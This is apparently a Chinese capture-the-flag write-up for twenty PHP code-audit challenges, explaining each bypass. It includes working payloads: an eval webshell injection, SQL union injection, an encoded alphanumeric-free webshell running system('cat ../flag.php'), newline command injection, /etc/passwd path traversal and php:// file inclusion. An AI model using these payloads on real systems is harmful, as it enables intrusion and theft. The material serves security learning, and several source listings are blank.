PHP_Code_challenge(代码审计) write up
challenge 1
源码
1 | 1wMDEyY2U2YTY0M2NgMTEyZDQyMjAzNWczYjZgMWI4NTt3YWxmY= |
python脚本
1 | import base64 |
binascii模块用来进行进制和字符串之间的转换
base64模块是用来作base64编码解码
[::-1]取反,这里-1为步长
challenge 2
源码
1 |
|
sleep() 函数用来推迟调用线程的运行
(int)强转换,可以用科学记数法绕过
challenge 3
源码
1 |
|
a–>
①不存在’.’号或’.’号再开头;
②$data = @file_get_contents($a,'r');
把a写入字符串中要为1112 is a nice lab!
b–>
①长度大于五
②截取b的第一位和111拼接能和1114匹配
③b的第一位不为4
id–>
①不为0或NULL(不为空)
②弱等于0
a: $a=php://input; post:1112 is a nice lab!
b: %00截断,%00截断对substr有效,对strlen无效(即%00不会对strlen截断)
php弱类型比较,数字与字符串等值比较时,字符串取开头的有效数字,无则为0
challenge 4
源码
1 |
|
构造一句话木马
?hello=);eval($_POST[value]);%23
当var_dump($a);后的结果为:string(22) ");eval($_POST[value]);#"
eval("string(23) ");eval($_POST[value]);//"");
PHP对于双引号包裹起来的字符串要进行扫描计算,单引号则不管内容如何都会原样输出而不会进行计算。
challenge 5
源码
1 |
|
sha1无法处理数组,因此可构造数组绕过,数组传入结果为NULL
challenge 6
源码
1 |
|
联合查询注入漏洞,构造 username=-1’union select”md5(123)”#&pass=123
challenge 7
源码
1 |
|
可在flag被修改之前,先将flag覆盖
程序执行顺序foreach ($_GET as $key => $value) 比 foreach ($_POST as $key => $value)先执行,因此可利用foreach ($_GET as $key => $value) 将flag覆盖
$$key = $$value 看到这个,想到变量覆盖
challenge 8
源码
1 |
|
这题考察的是构造无字母数字Webshell,有点晕,附文章先学习一波
https://www.cnblogs.com/ECJTUACM-873284962/p/9433641.html
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为
Array
system()—执行shell命令也就是向dos发送一条指令
cat命令可以用来查看文件内容
#Array
#ArrayArray
#Arrayasd
1 |
|
1 | c=%24_%3d%5b%5d.%5b%5d%3b%24__%3d%27%27%3b%24_%3d%24_%5b%27%27%5d%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24__.%3d%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24__%3d%24_.%24__%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24__.%3d%24_%3b%24%7b%27_%27.%24__%7d%5b_%5d(%24%7b%27_%27.%24__%7d%5b__%5d)%3b |
写入full_filename,成功上传webshell,命令执行?_=system&__=cat%20../flag.php
即system(cat%20../flag.php)
challenge 9
源码
1 |
|
可以看到基本上的命令分隔符都被过滤了,可以可以换行(%0a)绕过
多条命令设置在同一个快捷键时,需要注意命令分隔符的使用
1
2 $cmd = shell_exec( 'ping -c 4 ' . $target );
Payload: ?ip=127.0.0.1%0alscat命令可以用来查看文件内容
?ip=127.0.0.1%0acat flag.php
trim() 函数移除字符串两侧的空白字符或其他预定义字符。
命令分隔符
linux中:%0a 、%0d 、; 、& 、| 、&&、||
windows中:%0a、&、|、%1a(一个神奇的角色,作为.bat文件中的命令分隔符)
空格可以用以下字符串代替
< 、<>、%20(space)、%09(tab)、$IFS$9、 ${IFS}、$IFS等
challenge 10
源码
1 |
|
需要POST一个不含1-9数字的,且与3735929054
等值的字符串
十六进制弱类型比较
十六进制:(0x)deadc0de
八进制:0+
challenge 11
源码
1 |
|
var_dump($$a)中存在$$a,可以输出对应的变量值,即flag,但前提是需要知道flag的变量名,可利用$GLOBALS,https://www.cnblogs.com/NPFS/p/12721175.html
challenge 12
源码
1 |
|
做法类似challenge 4
var_dump($a)可考虑命令执行,构造
?hello=);var_dump(file("flag.php"));//
var_dump($a); —->var_dump();var_dump(file("flag.php"));//);
challenge 13
源码
1 |
|
120秒直接手工传参,传十次就得到flag了
也可以写个脚本
1
2
3
4
5
6
7 import requests
url='http://XXX'
a=requests.Session()
b=a.get(url+'?value[]=ea').text
for i in range(10):
b=a.get(url+'?value[]='+ b[0:2]).text //这里的b[0:2]是获取读取的源代码的前两个字符,因为手工传一次`?value[]=ea`后可以发现,新的随机数在源码最前面
print(b)
challenge 14
源码
1 |
|
在linux文件/etc/passwd中包含用户名、用户[ID]、用户群组[ID]、用户描述信息、家目录以及登录shell
?path=../../../../etc/passwd
allow_url_include打开着,使用php://input协议,post传递参数,可以发现flag.php直接使用
php://filter/read=convert.base64-encode/resource=flag.php
读取文件内容
也可以继续使用php://input协议,post传递参数
challenge 15
源码
1 |
|
我拿phpinfo做了下测试,之前以为
http://XXX/?path=shell.php&file=http://127.0.0.1/?path=&file=http://127.0.0.1/
里面的
file=http://127.0.0.1/?path=&file=http://127.0.0.1/(这里url需要二次编码,因为访问了两次)
写入到shell.php文件里面后就和题目的源码独立出来了,后来改改参数测试了下发现并没有,然后一切问题迎刃而解。
这个题目要的就是把shell.php构造为一个webshell,通过用URL请求这个webshell的页面并写入到path文件
URL二层嵌套,这两层都需要符合题目要求,即$path中不含.. $file变量中 http://127.0.0.1/ 存在 且为开头
所以很容易就可以构造出可以绕过的payload
challenge 16
源码
1 |
|
1 | submit=1&hihi=9e9%00#HONG# |
challenge 17
源码
1 |
|
搜索引擎会忽略下划线的存在
当.
或[]
之类的符号作为参数的key的时候,会被PHP改写为_
file_exists对data指向的内容判断为不存在
$_SERVER[‘QUERY_STRING’]:QUERY_STRING就是URL后接的参数,如www.baidu.com/?a=B,a=B就是QUERY_STRING“data”类型的Url格式,目的对于一些“小”的数据,可以在网页中直接嵌入,而不是从外部文件载入。
challenge 18
源码
1 |
|
72.
是数字字符串
MD5不能处理数组,处理任意数组返回值都相同
MD5每一个以0E开头的哈希值都解释为0
strcmp函数用于比较两个字符串并根据比较结果返回整数,可改成数据类型绕过
challenge 19
源码
1 |
|
需要创建一个长度为 666 ,只包含0 — 6的数字,数值上等于 0×666且不等于字符串 ’0×666′的参数,十六进制666转换可以发现八进制时在数字0-6之间
1、十六进制:0x开头
2、八进制:0开头
3、二进制:0b开头
challenge 20
源码
1 |
|
➜ ~ php -r “var_dump([1=>0]==[1=>0]);”
bool(true)
➜ ~ php -r “var_dump([1=>0]===[1=>0]);”
bool(true)
➜ ~ php -r “var_dump([1=>0]==[2=>0]);”
bool(false)
➜ ~ php -r “var_dump([1=>0]===[2=>0]);”
bool(false)
➜ ~ php -r “var_dump([0 => 0] === [0x100000000 => 0]);” #键名为 0 与0x100000000` 数组相等
bool(true)
v1.4.14